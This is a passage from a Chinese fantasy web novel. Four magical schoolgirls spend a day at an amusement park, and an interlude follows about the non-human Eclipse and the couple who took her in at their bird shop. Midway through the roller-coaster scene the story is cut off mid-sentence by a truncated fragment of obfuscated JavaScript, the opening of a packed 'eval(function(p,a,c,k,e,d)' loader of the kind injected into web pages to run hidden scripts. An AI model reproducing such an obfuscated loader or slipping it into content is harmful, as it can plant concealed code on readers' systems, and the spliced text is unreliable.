四人从一楼大门进入餐厅后,几人沿着大厅外侧往里看,看见了摆放着一条长长的自助取餐台。有和日之森食堂差不多的西式区和亚洲区,但菜品种类多了不少,整体口味更偏向儿童。也有校内看不到的巧克力喷泉,旁边放着一筐兔子造型的棉花糖和水果。以及一个冰淇淋冷柜和甜筒机,不少人在排队。靠近楼梯的一旁是一整面饮料墙,一旁有提示牌让小孩子不要独自取餐。 另一侧是开放式厨房,游客可以在这里直接点餐,观看厨师们现场烹饪。火焰在铁板上翻腾,热气在空气中弥漫,切肉声、煎烤声交织在一起相当热闹。 四人分别在门口出示门票后取了餐具往里走,虽然除了艾克里普大家都很饿,但也仔细挑选了自己喜欢的食物和饮料,随后上楼找了个角落里的圆桌坐下了。 “好多小孩子,今天大家不用上学吗?”森山寺未央发出了质疑,她盘子里多是口味偏甜的食物,例如摆满谷物和水果的酸奶,昭示其主人无疑是糖分爱好者,餐盘的一旁有一小桶爆米花倒是咸甜交织的焦糖口味。 “我们这样的高中生都出来玩了。”犬山晓神色微妙地说,她餐盘上主食,荤菜,荤菜和点心搭配得很好,看不出口味偏好,只能看出其主人哪怕在游乐园的自助餐厅中也要保持健康饮食的决心。 “吃饱了以后先去不刺激的项目,然后再去坐过山车。”有乐羽生已经开始期待起一会的项目,她的餐盘中的食物五彩缤纷,有颜色各异的星星果冻拼盘,笑脸薯饼和带海苔造型的炸虾,没有沾巧克力的兔子棉花糖,彩虹奶酪披萨以及顶着一颗罐头樱桃的夏威夷汽水。 “这里到处都是兔子呢。”艾克里普从入园起就在各个角落里发现了各式各样的兔子,她盘子里的食物也都是带兔子图案的,选品不考虑数量和口味。 哪怕是在餐厅角落里也能看见不错的风景,几人一边聊天一边进食,与校园内截然不同的氛围让吃饭似乎变成了一样格外有意思的事情。 “原味比较好,不过我觉得都差不多。”犬山晓拿勺子挖着甜筒。 “黑巧克力比较考验冰淇淋的口味哦。”森山寺未央也拿着勺子挖纸杯里的冰淇淋。 有乐羽生没有说话,因为她发现夏威夷口味刨冰并不好吃,她纠结地拿勺子戳顶端的樱桃。 “冰淇淋是最受欢迎的菜品呢,但却大多是最后食用的。”艾克里普说着,手里拿着一份花生酱混合冰淇淋球。 “因为冰淇淋对于孩子来说不健康吧,不能吃太多,吃了正餐之后就不会想吃大量的甜品了。”犬山晓说话间有意看向森山寺未央,她的父母一定很头疼孩子的甜食控制问题。 “原来是这样,那为什么不干脆不让孩子吃呢?”艾克里普并不觉得手里的冰淇淋重要到能与后代的身体健康相比。 “因为糖分对大脑来说是必需品!”森山寺未央捍卫自己吃甜食的正确性。 “确实,吃甜品的时候心情会好呢。”有乐羽生也同意地点点头。 “原来如此。”艾克里普也点点头,见此,犬山晓放弃了自己想说的话。 谈话间几人来到了第一处娱乐项目。 “来游乐园玩果然不得不玩碰碰车!”森山寺未央如此表示。 “一边提醒人们要谨慎驾驶一边在儿童居多的场所放置鼓励制造车祸的游乐设施。”艾克里普总结说,“真是一场对教育水平的考验!” “是这样吗?开车的时候司机原来会这样想吗?”有乐羽生不明所以。 “本质上只是因为喜欢那种撞到一起的感觉吧。”犬山晓并不支持前者的看法,“在这里撞车不用负责,而且撞和被撞的人都挺开心的。” “没错!开车可是很有意思的事情!”有乐羽生同意这一点。 几人分别选了车坐下,艾克里普的高个子在狭小的车内显得格外拘束,但她并不在意这一点,非常正式地将安全扣扣好后回头嘱咐大家系好安全带。 “真是怀念啊这种不用负责任的感觉,”森山寺未央感慨说,“未雅以前和我一起去玩碰碰车的时候我们两个总是挤在一辆车里,然后换着坐驾驶座玩好几次。” “这个座位还能坐两个人?”犬山晓怀疑地看向狭小的车座位,广播开始倒计时,不一会车辆传来了明显的震动感提醒使用者可以开始玩耍了,她试了试方向盘,然后开始匀速前进。 “那个时候我们两个都很小,不过我技术很好,像这样!”森山寺未央在原地操控碰碰车熟练地转了一圈,“后来我们能自己一辆车以后,未雅她就不来游乐园玩了。” “因为长大了吗?”犬山晓一边匀速前进一边问,森山寺未央一边转圈一边开在她旁边。 “可能是这样吧。”她说,然后迅速地打方向盘撞向犬山晓的车,“为什么像练车一样开碰碰车啊?赛车可是竞技游戏,哈哈!” 而不远处的有乐羽生充分地展现了碰碰车的正确玩法,她只是尝试性地转了转方向盘,她的车就转着圈飞了出去,撞在另一辆车身上,被撞的车也飞了出去撞到了别人。迅速理解到其中魅力的有乐羽生快速地反打方向盘开始不分对象地撞人。 “原来是这样,这只是一种发泄压力的娱乐活动。”被撞的转来转去的艾克里普明白了这点。 欢快的背景音乐结束后,几人从车里站起离开了场地,结束了与其它游玩者的短暂对手关系,往下一个目的地走去。 “我之前看到这里就很好奇了。”艾克里普站在鬼屋面前说,“这个好像就只是一栋房子而已,也是游乐园的游乐项目吗?” 鬼屋在游乐园内占地不大,至少与其它大型项目比起来不算惊人,但排队的人也不少。由于该游乐园的鬼屋为沉浸式体验,需要游客自行从里面逃出,所以其实对于游客来说并不算小了。鬼屋的主题是小丑杀人狂,需要在鬼屋内一边躲避工作人员扮演的兔子耳朵小丑一边从迷宫里逃出,工作人员会视游客的年龄灵活调整难度。 “原来如此,是有人在后面追的迷宫啊。”经过一番解释后艾克里普恍然大悟。 “这样理解也可以,毕竟艾克里普看上去并不会被吓到。”森山寺未央点头,表情非常的自信,“我也是哦。” 四人和另外六个游客一起在巨大的兔子耳朵小丑模型下排队进入鬼屋内部,身后的大门随着最后一个人的脚步踏入被迅速关上,眼前一片漆黑,伴随着游荡在黑暗空间内的狰狞笑声,有的孩子已经开始害怕了。 “其实十个人的话就不是那么恐怖了。”犬山晓说,她实际上能将周围看得一清二楚,包括不远处拐角跃跃欲试准备吓人的工作人员,但这样反而让她觉得自己这样不太好了。 “什么?”森山寺未央没那么好的视力,漆黑一片的环境让她觉得有点紧张,但不至于害怕,毕竟晚上的森林比这里恐怖得多。 “哎呀,好像大家走散了。”有乐羽生隐约看见游客在黑暗之中走向了不同的岔路口,背景音乐将说话声音掩盖了许多。 “那就到处逛逛吧?”艾克里普提议说。 “要逛吗?”森山寺未央怀疑艾克里普没有理解鬼屋的含义。 “咦?这个项目不是让我们逛的吗?”艾克里普是这样理解的,毕竟这里的设施可以看出有被精心设计过,对她来说比起迷宫更像一处大型展览厅,“灯光也是刻意这样设计的吧。” “只要有所收获就不要考虑经过了吧。”有乐羽生声音轻飘飘地说。 背景音乐突然间就变得急迫了起来,意思是工作人员要开始上场追人了。 “总之遇到工作人员就离远点,这样就行了吧。在这种游戏里被工作人员抓到是不太好的吧。”犬山晓说完便自行往前走了。 “那大家一会见吧!”艾克里普也往自己感兴趣的地方走去。 “按布置和外部结构来说的话我马上就能出去了。”森山寺未央目的地明确地往出口方向走去。 “哎呀。”发现自己身边空荡荡的有乐羽生一时有些紧张,她能感觉到有工作人员在靠近自己,总之先随便跑跑吧,她心想。 不久后,三人在出口相遇,发现有乐羽生还没有出来。 “羽生她还在逛吗?”心满意足的艾克里普发现对方的位置还在鬼屋里不断移动。 “难道说是迷路了?”犬山晓有些担心。 “不至于吧,可能是想多走走。”森山寺未央说。 “哎呀,大家都已经出来了吗?”不一会有乐羽生便推开出口门走了出来,未掩上的门内能看见三位气喘吁吁的工作人员。 “这是,”艾克里普分析道,“某种游戏成就?” “总之有所收获。”有乐羽生心情愉快。 “那就好啦,果然我还是觉得这里与其说是惊吓设施房屋更像是一个没怎么开灯的展览会。”艾克里普说,“没什么惊险要素呢。” “我觉得这里在我见过的鬼屋里也算是比较恐怖的了,不过其实还好。”森山寺未央说,“艾克里普不觉得那些突然动起来的设施很吓人吗?” “比我的事务所的地下室和平一些吧。”艾克里普想了想说,“以后有机会的话,欢迎大家可以来参观看看我的事务所!就氛围而言绝对不会让大家失望的哦。” “之前你好像说过是植物事务所吧。”犬山晓不确定地说,“难道说地下室不是吗?” “也是啦,但是一些不太友好的被我放在地下室了,偶尔我也会觉得下面很热闹。所谓生态环境不就是无论如何都很热闹的东西吗?”艾克里普笑着说。 之后几人出发前往下一个游乐设施。 “差不多可以试试过山车了吧,这个是木质的。”犬山晓站在游乐园招牌巨型木质过山车下方抬头看,有些担心其质量问题。 “这样说起来这里的过山车很多啊。”森山寺未央想起游乐园地图,“室外的就有三种,室内的也有很多。而且每个角落都有,该说不愧是老牌游乐场吗设备不更替的话就会像硬盘里的垃圾一样越堆越多呢。” “确实,虽然说名字主题都不一样,但游玩的感受应该相差不大吧?”艾克里普说着,她之前并没有作为游客来过游乐园,但也见过这座木质结构的轨道。 “那就多试试吧,我还没坐过过山车!不知道和飞起来的感觉是不是差不多的。”有乐羽生非常兴奋。 作为游乐园标志性设施,虽然说挑战难度单是看着那此起彼伏的轨道就令人望而却步,但排队的人依旧非常多,一米五以下的孩子被禁止游玩这个项目,所以能在排队区外看见些许陪孩子一起等候着的人。 “说起来明明那边的过山车看上去更刺激一点,为什么这个才是经典项目呢?”排队过程中,有乐羽生不解。 “因为都标注了招牌这两个字,游客就没有不来玩的理由了。”艾克里普说着,若有所思,“一米五以下的孩子会从座位上掉出去的话,那这个项目其实还挺危险的吧?” “会掉出去吗?”森山寺未央不这样认为,“不故意从里面钻的话根本不会掉出去吧,这个并不是带有大回旋的那种过山车。你说是吧晓?” “我不会掉出去的。”脱鞋测量过身高后才被放进排队区的犬山晓无奈地说,“我也不会故意从里面钻出去,你也别这样做好吗?” 从远处看仅仅是一小节的列车停在上座区便显得很宽大了,四人都不认为自己会因为区区过山车的失重感而不舒适,便在安全员的注视下一起坐在了第一排的位置。随着座位满员,座椅上方的安全卡扣被压了下来,两人共用一个横杆,金属杆压在身上时带来了微妙的紧张感。 “以前有一种约会小技巧,”犬山晓在等待安全员确认所有座位的时候说,“在过山车进行到一半拿出准备好的零件,骗伴侣说过山车坏掉了,从而利用吊桥效应达成目标。” “这种行为只对本来就关系不错的对象有效吧。不过真的那样也不错,顺势就可以飞起来。”有乐羽生期待地说。 “以前如果有人会这样对我的话结束后会被我打一顿,不过现在的话真的能飞出去的话确实不错啦,不觉得有种特效片的感觉吗?”森山寺未央也期待地说。 “那个是叫灾难片吧?”犬山晓不确定地说。 “这个栏杆总觉得很容易就可以爬出去,是专门这样设计的吗?”艾克里普看着挡着自己的栏杆,被森山寺未央阻止了想试试看能不能抬起来的动作。 随着广播倒计时,列车开始以缓慢的速度前进,顺着轨道拐弯之后节节攀升,不知是刻意为之还是设备本就应该如此,越抵达高处列车上升的速度越慢,直到彻底停下,并且列车下方的轨道传来了嘎吱嘎吱的运行声,令人心跳加速。 “一会下坡会加速,我小时候很害怕这个来着,不过现在看完全不快嘛!”森山寺未央其实很紧张,谁都能看得出来她抓横杆的手背已经青筋暴起了。 “今天天气真好呀。”有乐羽生顺着重力靠在椅背上,欣赏蓝天白云。 下一瞬间列车再次发动,先是普通的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“艾克里普,你觉得过山车很吓人吗?”犬山晓察觉到对方神情恍惚。 “是这样吗?”有乐羽生惊讶地看向艾克里普。 “按理来说不应该的,不过我确实感受到了非比寻常的感受。”艾克里普觉得脚踏实地的感觉真好,“应该是因为我以前没有参与过类似的活动,不用担心,我很快就能适应了。” 之后几人又一起去玩了游乐园内的360度大回环钢制过山车,悬空式过山车,和带倒车机制的室内过山车。 “原来如此,木质过山车虽然幅度不大但是非常颠簸。”犬山晓津津有味地评价道,“现代化的钢质过山车能加入更多其它元素,都很不错。” “总感觉眼球在转圈,咦?”森山寺未央头晕了起来,还有点想吐。 艾克里普坐在长椅上,内心和表情空白一片。 “那接下来去个可以休息的项目吧,”有乐羽生回忆地图,“去摩天轮吧,离这里不远。” 几人出发前往摩天轮,该设施和木质过山车一样经常因为需要定期维护而关闭,今天开放,不少人在排队。 除非是单人游客,大多数两三结伴的游客都可以单独使用一个可以乘坐六人的车厢,这个时间将近日落,不少人希望在最高处看到夕阳。 “灯亮起来了!”有乐羽生发现这一点,有些开心。 “时间过的真快呀。”艾克里普安心地坐在座位上,感慨道。 车厢顺着圆形缓缓上升,游乐园的地图也一点点地在眼前展露了出来,此时路灯亮起,远处的城市地图也加入了画面中。 “这里位置好高啊,感觉能看得到日之森。”森山寺未央远眺城市,“那边是大学城吧,然后那边是东市区。” “这个时候校园祭应该也结束了,时间过的好快。”犬山晓也看向远方,确实能看到似乎是日之森校区的地方,她经常夜间从高处移动,对这样的视角并不感到新奇。 “这样看果然很不一样啊,那些灯光和篝火有相似的作用,但本质上却完全不一样。现在从这里看的话它们倒是有些相似了。”艾克里普看着近乎连成一片画的地面,那与使用魔法感应式得到的视角不同,灯光将城市中真实的一面遮掩的很好。 “真是美丽,”有乐羽生感叹说,“城市也好,夕阳也好,天空也好。” 远方的太阳以半圆形散发着光和热,靠近它的那部分天空被灼烧成了橙色,连带着面朝那一端的城市建筑一起,而离得远的天空还保持着一定的蓝,若是细看,便能察觉到那没有在发光的月亮。 “是啊。”犬山晓看着天空中的圆月,赞叹道。 游乐园在夕阳的余光和灯光中继续运行着,偶尔传来一些游客的尖叫声,而地面上的人们则也偶尔驻足看向摩天轮,脸上露出期待的表情。 我喜欢这里,有乐羽生心想,大家都在笑,不需要思考就能获得快乐,所有人都在努力获得快乐或者为别人带去快乐,不需要去考虑麻烦的东西,仿佛是游离于地面之外的天堂一般。 到了离开车厢的时候,几人顺着出口再次回到游乐园的街道上,天黑的实在是快,周围已经看不到日光了。 “天都黑了。”犬山晓看向一些准备离开这里回家的游客。 “接下来去坐旋转木马吧,”有乐羽生指着不远处被华丽的灯光装饰起来的二层旋转木马,“然后就该回家了。” 与其它设施相比,旋转木马似乎是专门为天色黑下来后的游乐园准备的,白日里它仅仅是普通的旋转型游乐设施,但天黑之后,那亮起的灯光让它整体看上去像个旋转着的舞台。 几人进入设施后来到二楼各自挑选起了座椅,有乐羽生首当其冲选择了最靠外并且位置最高的那匹马,艾克里普选了个不会动的南瓜椅坐下,森山寺未央坐进了能自己控制旋转的茶杯椅,犬山晓骑上了新月造型的单人座椅。 随着八拍子的背景音乐响起,旋转木马的底盘开始带着游客旋转,选了单人座椅的游客在座椅的运动下上下起伏,仿佛真的在骑一匹马。 与其它项目相比旋转木马是真正的儿童友好项目,速度慢到不需要乘坐者系上安全带,也允许身高不高的小孩子在一楼的设施内玩耍。 有乐羽生看向旋转木马内部,中间的柱子上有着希腊风格的装饰画,随着乘坐者的移动缓缓露出其它面,似乎在讲述什么故事,她伸出手感受微弱的风,想看看自己的同伴却发现自己坐在最前面的位置。 她突然想起来自己小时候也坐过旋转木马,那时她因为觉得无聊而抬头想看看天空,却看到了一面镜子,一清二楚地倒映出她那无可指摘的微笑和因无法感受到丝毫乐趣而显得空白的面孔,以及同样坐在设施里却能发自真心露出微笑的其它人。 她抬头,如预想一般看到了一面镜子,但与她小时候去的主题乐园不同,天花板上镶嵌着哈哈镜,每一个乘坐者的脸都以意想不到的角度和大小呈现了出来,于是有乐羽生也被逗得哈哈大笑,几乎要仰着摔下马去,还好她还有一只手扶住自己。 “哈哈哈,哈哈哈哈——”有乐羽生不知为何笑得停不下来,直到大脑缺氧,直到嗓子变哑,就好像要覆盖掉这么多年来一直镶嵌在她脸上的微笑一般,自由而无拘无束地笑到她满意为止。 能再转一圈就好了,她总担心旋转木马会在下一圈结束后停下,便每转一圈都在心里这样说。 但是如果可以的话她希望旋转木马永远不要停下,让自己永远呆在这个灯光璀璨但与家里不同的华丽舞台上,让她的朋友永远在她抬起头看向镜子时出现,从而使她能再次这样笑起来。 但是旋转木马还是停下了。 根据广播指示离开后,有乐羽生依依不舍地回头看向空着的旋转木马被下一批乘客填满,心里不免有些失落。 “我们就在这里拍照吧。”犬山晓说。 “好呀,这里的灯光很好看呢。”艾克里普也喜欢这个提议。 “等一下,为什么我头这么晕?”森山寺未央手扶着膝盖深呼吸。 “你自己转的圈数至少是整个设施的三倍。”犬山晓坐在她身后的位置看着她一坐进去就开始疯狂转中间的方向盘。 “那我去找一个工作人员!”有乐羽生也很希望与大家在旋转木马前合影,便去附近找了个穿着布偶服的工作人员,趁着旋转木马结束后空着的瞬间合影。 天色彻底的黑了下来,几人分别拿着一张刚刚打印出来的,还带着温热的照片,照片上四人的脸上都带着真心的笑容,虽然身后的旋转木马过于明亮了一些。 顺着来时的街道往游乐园的出口走去,那片被彩旗覆盖的主街道再次出现在了眼前,意识着前方便是游乐园的出口。 “其实这样走出来的话感觉也没有特别大,刚才在里面逛的时候感觉怎么走都走不完呢。”森山寺未央一边吃爆米花一边走着。 “是呀。”有乐羽生轻声说。 从出口离开后几人再次走原路来到了无人的休息室,有乐羽生发动空间魔法,回到了日之森校内的更衣室。 “那么今天就要和大家说再见了!”艾克里普依依不舍地与大家告别。 “对哦,我得赶紧回去了。”森山寺未央想起自己还得收拾东西。 “下周一见。”犬山晓说。 “再见,大家。”有乐羽生招了招手,独自往校门口走去。 此时校园里已经没什么人了,只剩一些工作人员在打扫卫生,白日里那样热闹的街道已经不见了踪影,只剩下路灯为人们指引方向,播放背景音乐的广播也被收了起来,除了偶尔响起的鸟鸣和虫鸣,什么也没有。 有乐羽生提早说过今天自己会和其它同学庆祝校园祭演出,所以校门口的候车区并没有司机在等她,她面无表情地往校外走去,没有选择使用空间魔法或者其他交通工具,只是漫无目的地走着。 远处的霓虹灯闪烁着微弱的光晕,偶尔有几辆车从她的身边驶过,车灯在湿润的空气中划出一道短暂的光痕,随即消失在转角。人行道上行人寥寥,偶然路过的人低头匆匆前行,没人停下脚步,也没人交谈,仿佛城市的喧嚣已经在白天消耗殆尽,夜晚的世界便只剩下沉默的街道和偶尔被风卷起的落叶。 巷子里更为寂静,只有风吹过金属栏杆的微响,以及偶尔传来的猫的低吟,在无人的街道上格外清晰。空气中夹杂着微冷的潮意,夜晚的气息缓缓渗透进来,让有乐羽生不自觉地紧了紧外套。 有点冷,有点饿,有乐羽生觉得自己应该带点巧克力在身上。她拿出手机确认时间,还未到家里吃晚饭的时间,回去后还赶得上晚饭。 但那又不是我想要的,她突然想到这里,今日中午大家一起聚餐时的场景突然在脑海里回放,她停住了脚步,突然不是很想继续走向自己的目的地。 明明我想去哪里都可以,为何还是感觉脚步很沉重呢,她想。 因为脚步缓慢,她走到住宅附近时已经过了晚饭的时间点了,虽然提前说过,但她明白自己依旧会被严格地训斥一顿,想到这里,她站在庭院门口久久不愿意进去。 “您回来了。”管家迅速察觉到了站在门口的有乐羽生,上前迎接,“辛苦您今日自己回家了。” “不,没什么,晚餐已经开始了吗?”有乐羽生有礼地微笑着问。 “很遗憾的是,二位因事务繁忙仍未归,按惯例来说是要在外面过夜了。”管家微笑着说。 “哎呀。”被惊喜砸中的有乐羽生一下没能控制自己脱口而出,不过她迅速反应过来了。 “那可真是辛苦了。”她说着,笑容真实了些。 管家也没说什么,领着有乐羽生进入屋子。她换好衣服后来到餐厅,发现今天的晚餐是热腾腾的,造型可爱的食物,以及她下午没喝的奶昔,心里更愉快了。 希望那两个人能一直这么忙呢,有乐羽生吃完晚饭后回到房间休息,不禁在心里这样想,虽然晚饭依旧没吃饱,但她的心情非常好,准备一会出门逛逛。 自从办理好银行卡后,有乐羽生将自己以往收到的礼物中那些没有特殊意义,质地是黄金并且年代久远的物品拿去典当了,现在储蓄账户中有不少积蓄,自从能自由得到自己想要的食物以后,她吃晚餐时都变得心平气和了不少。 直到深夜,有乐羽生推开窗,隐去身型与往常一般跳出窗户,但不知为何她觉得今天的自己身体格外的轻盈,就连原本还只有雏形的结界也逐渐露出了轮廓。 今晚就试试看用使用结界吧!有乐羽生这样决定好之后,挥舞羽翼飞向城市的上空。 今夜对她来说注定是幸福的一夜。 16. 间奏-艾克里普与夜藤事务所 艾克里普回到夜藤事务所时已经是深夜了,这是因为她在回来的路上顺便围着城市的边界巡视了一会,并出手消灭了发现的魔物。一路上她都在回忆游乐场里与同伴们一同经历的点点滴滴,她第一次没那么反感嘈杂的环境。 但和一群人一起被绑在高速前进的车上被甩来甩去还是不要有下一次了,艾克里普心里这样想着,拉开了事务所的门,一路来到地下室,穿过张牙舞爪的丛林找到角落里阴暗扭曲且蔓延肢体到处都是的水生植物区。 随后她抬手,穿过自己锁骨处下方的衣服,皮肉和骨骼,掏出来一个透明圆球,期间没有任何血液出现,就仿佛她的手穿过的是某种全息投影一般。 随后艾克里普将圆球扔进水池里,薄膜破开,里面如烟灰一般的尘埃浮在水面上,很快与水融为一体。 这是艾克里普今天进食后,食物在她的临时胃袋中被销毁产生的废物,用于给植物施肥还算有营养价值。 “不过既然大家都喜欢在一起吃饭,那就一直这样吧。”艾克里普点了点头,她的衣服和皮肤不见任何异状。 就像她一开始就说的那样,名为艾克里普-阿尔卡纳的存在并不是人类,她的衣服和皮肉为魔力所化,内部不会被看见的器官们从一开始就不存在。她不需要进食和睡觉,也并不存在味袋和大脑。 顺便环视了一圈其它植物之后,艾克里普回到了一楼,她想了想,还是将事务所的大门开着,虽然大概是不会有人进来的。 事务所一楼的构造实际上与它还属于夜藤夫妇的时候一模一样,艾克里普没有更新任何陈设,就连那些鸟类曾经使用的鸟笼都还存放着,这样会让事务所看上去和从前差不多。 但无论如何,这家事务所都与以往完全不同了,艾克坐在桌前向大门之外看去,在安静之中回忆起了这家店的过去。 夜藤夫妇在她刚敲响事务所的门时只是两个三十岁不到的人,哪怕在正常人来看她们也都是年轻的,但二人没有如那时的年轻人一般在繁华的都市中享受豪华轿车的速度,而是沉溺在这个哪怕在当时也完全称不上热闹的小店中,做着挣不了多少钱的生意。 二人都有相当不错的学历,在当时这完全是一种对人力资源的浪费,虽然也有那种所谓“坚持只想做自己的事”的人被各路媒体采访走红,但二人非常不待见记者,甚至不太待见新客。 在“厨师脸色越臭越要冲”的趋势还没出现的时代,夜藤事务所所在的地方是真正无人问津的角落,但这也是艾克里普敲响那扇门的原因。 对艾克里普而言,人类的性格再恶劣也没关系,无论如何人类不可能会伤到她,也不会和她产生太大的联系。大不了就是被拒绝而已,如果能达成目的的话,夜藤夫妇哪怕再长寿也不过能再活五六十年,对她而言不过是一眨眼的事情。 “请问,你们需要学徒吗?”伪装成12岁左右营养不良的孩童的艾克里普问,“不需要工资的,给我一口饭吃,一个地方睡,我会帮你们干活的。” 如果能成功的话,艾克里普就在人类社会中有了落脚处,她之后就可以反复以“夜藤事务所的继承人”的身份存在于这个世界上。 与外界传言不太相符的年轻夫妇对视了一眼,最后让她进了屋。 所谓要钱的可能是骗子,要吃的的大概是真的需要帮助,那个年代去大街上乞讨就能日入斗金,这孩子却去犄角旮旯的事务所问需不需要学徒,夜藤夫妇虽然没有孩子也不打算要孩子,却也没有拒绝艾克里普成为她们的孩子。 夜藤夫妇,不对,是夜藤流云与夜藤飞鸟,在事务所的二楼收拾出了一个房间,有张床有套桌椅,还有书架和台灯。那时的艾克里普从那个属于她的房间看向窗外,心想现代学徒的待遇也不错。 之后的几年里,夜藤夫妇为她做饭,将书借给她看,教她整理房间,整理着装,整理店铺,也教她如何照顾花草和鸟类。 而艾克里普知道什么样的照顾是足够的,什么样的照顾是发自内心的,所以她无法理解夜藤夫妇为何要如此细心地对待鸟类。 “她的头蹭过来的时候你要摸!”夜藤流云提醒看上去在发呆的艾克里普,于是她照做,伸出手在那明黄色的脑袋上摸了三下。 但是对方好像还是不满意,艾克里普心中十分困惑,她看向那豆大的漆黑眼珠,那眼珠也瞧着她。 “你要带着爱去接触她。”夜藤流云比划着形容。 而夜藤飞鸟走了过来,那停靠在艾克里普胳膊上的鹦鹉就飞扑着落在了她的手心里,她甚至没有去触碰,也没有去摸,但那鹦鹉却表现得非常开心的样子。 “艾克里普还小,长大了就明白了。”夜藤飞鸟说。 艾克里普不明所以地点了点头,她实在不明白为何夜藤夫妇偶尔会这样,仿佛跨越了物种与语言的障碍一般去爱那些鸟类,鸟是没有语言系统的,它学舌发出的声音并不是它真正想说的。 但无论如何,艾克里普在照顾鸟类上可以说是进步飞快了,她严格按照夜藤夫妇教导的方式去对待店里的每一只鸟类,每一株植物。 偶尔,艾克里普深夜出门狩猎魔物,回来时与一两只鸟对视,大概是因为她身上还没散去的气息惊扰到了小动物的安全警报,它们通常会表现得十分害怕。 她使用镇静魔法安抚鸟类的神经,白日里在夜藤夫妇的注视下她无法这么做,但现在,使用魔法才是她最擅长的手段,而不是用抚摸安抚鹦鹉。 所以艾克里普有时会疑惑,就连她这样能做到守护城市,并包容人类性格上的缺陷的人,都无法理解夜藤夫妇为何会发自真心地爱护另一个物种,将其视作自己生命的延续。 “艾克里普,你该去交点朋友了。”夜藤流云这样对她说。 “我和店里的鸟待着就挺好的。”艾克里普礼貌地回绝了,她不觉得自己能和普通人有共同话题。她守护这座城市,却也不期待这座城市中的普通人能感激自己的作为,更不期待自己能与普通人结交友谊。 人类有多面,艾克里普能够包容,不代表她喜欢。 “可是你和鸟没办法聊天吧?我们也没法像你的同龄人一样和你手牵手逛街。”夜藤流云比划着说,艾克里普知道他实际上对陌生人有着一定的沟通障碍,这种比划在常人看来是挺奇怪的。 可是你们也没办法和鸟聊天啊,艾克里普心里无奈地这样想,将食物塞进临时胃袋里。 “商业街开了新的游戏厅,不想去试试吗?”夜藤飞鸟笑着问。 虽然艾克里普自己说不要工资,但夜藤夫妇还是给她发了不少现金。 “不用担心我会感到无聊,看书就挺好的。”艾克里普摇了摇头,“我就和你们一样,在事务所里待着就挺好的。” 夜藤夫妇对视了一眼,艾克里普疑惑这两人不会传音魔法为何能隔空交流。 “艾克里普,”夜藤飞鸟看着她说,“我们两个是家人,彼此之间能够交流所以才不觉得孤单。可你没办法和我们这样做吧?” “果然还是要找同龄人吧?”夜藤流云点了点头。 艾克里普这才意识到对方是担心自己感到孤单。人类对于同类的关心是正常的,可艾克里普自认为不会与普通人有共同话题,也不认为她的时间观念让她会因为这短暂几十年不交流就感到孤单。 “没关系的,不用担心我。”艾克里普笑着说,“在这里待着我很开心。” 夜藤夫妇再次对视了一眼,双双叹了口气。 “没关系,”夜藤飞鸟说,“艾克里普还小,还有时间呢。” 随后的几十年里,夜藤夫妇逐渐不再年轻,夜藤事务所则有了些经常来往的顾客,大家都知道了店里这个看着像是外国人的帮工是夜藤夫妇很久以前收留的。 “那不就像孩子一样了吗?”一个带着大型鹦鹉的老人这样说着,在店门口的台阶上坐了下来,和他肩膀上的绿色鸟类晒太阳。 “孩子!孩子!”鹦鹉迅速回应。 “对,对,花花也是我的孩子。”老人眯起眼睛笑了。 而为那只大型鹦鹉准备护理液的艾克里普叹了口气,那时她已经将模样改变为二十多岁的成年人。她确实可以像个正常人一样给夜藤夫妇养老送终,她也确实打算这么做。但无论如何她都与夜藤夫妇没有血缘关系,她们甚至不知道艾克里普并不是人类。 “这里是您的东西,请收好!”艾克里普带着袋子走出店外,将其放在老人身边的台阶上。 “哦哦,谢谢艾克里普。”老人道谢,也没急着站起来,不过这也是正常的。 “谢谢!”绿色的大鹦鹉也附和道。 “不必客气。”艾克里普礼貌地回应老人,转身回到了店里。 “谢谢?”绿色鹦鹉疑惑地回头,为自己没有得到回应而重复着词句,老人伸手摸了摸它的脑袋,它就也不去在意这种事情了。 “时间真的还够吗?”老人看向自己的孩子,面上的皱纹动了动。 “只不过是表皮擦伤而已,这么多愁善感做什么?”夜藤飞鸟回来时看到了坐在台阶上的老顾客。 “哈哈,人老了不都这样?”老人笑了。 “哈哈!”鹦鹉也笑了。 “现在已经不流行服老了。”夜藤飞鸟嘲笑着说。 “那也是没有办法的事情呀。”老人摸了摸鹦鹉的脑袋,说,“你们这,是有长期托管的服务的对吧?” “…确实有,不过那些孩子你也见过,你确定要这样做?”夜藤飞鸟看向老人,夜藤事务所接受熟客托付自己无法继续抚养的大型鹦鹉。 “糖尿病加上其它什么,明天要去住院了,没办法,年轻的时候根本没考虑过这孩子比我还能活啊!”老人笑了笑,语气里有祝福,惋惜,羡慕,以及不舍。 “你的孩子们呢?”夜藤飞鸟问的是老人的两个后代。 “安阳和安明都不是会照顾孩子的人,兄妹两个没一个愿意的。”老人无奈地说,“兄妹和兄妹之间差的可大了。” “你年轻的时候也没想过自己会照顾这孩子,不去试试怎么知道?”夜藤飞鸟问道。 “在这里的话,这孩子会更开心些吧。”老人说。 夜藤飞鸟没有再说话了,她叹了口气,回到了店里。 “飞鸟老师。”艾克里普朝她问好。 “…艾克里普,”夜藤飞鸟看见艾克里普时愣了愣,说道,“准备登记一只新的大型鹦鹉。” “好的。”艾克里普点了点头,实际上她听见了之前的对话,已经提前开始准备了。 “鸟类和同伴待在一起真的会更开心些吗?”夜藤飞鸟忽然开口,语气轻的像是在叹息。 “应该会吧。同类待在一起的情况下会形成集体,集体出现异常情况也更明显。”艾克里普也不确定,事务所里的鸟类之间总有数不清的关系,她也不知道那算好还是不好。 “那就这样吧。”夜藤飞鸟摇了摇头,朝鸟类饲养区走去了。 艾克里普带着文件走向店外,来到那老人的身边。 “请将这份文件填写一下。”艾克里普说,“是现在就要托养吗?” 虽然艾克里普语气没有特殊的感情,也没有看向鹦鹉,但那鹦鹉就是忽然开始躁动了起来,翅膀扑棱着,发出没有意义的短促喊叫。 “不,不,”老人连忙安抚着自己的鹦鹉,“一会,至少等到太阳下山之后吧。” 那鹦鹉居然真的就安静了下来。 它根本就不知道,这只是短暂的延迟而已,艾克里普心想,她见过相似的场面,每次都不理解这些鹦鹉为何如此容易满足,却又在真正与主人分别之后陷入抑郁情绪。 明明那些鸟类才是它的同类,它却拒绝与其交流,也拒绝选择新的主人。 “好的,那我一会再来找您。”艾克里普点了点头,没有说什么。 “她和自己的同类待在一起会更开心一些吗?”老人忽然开口问道。 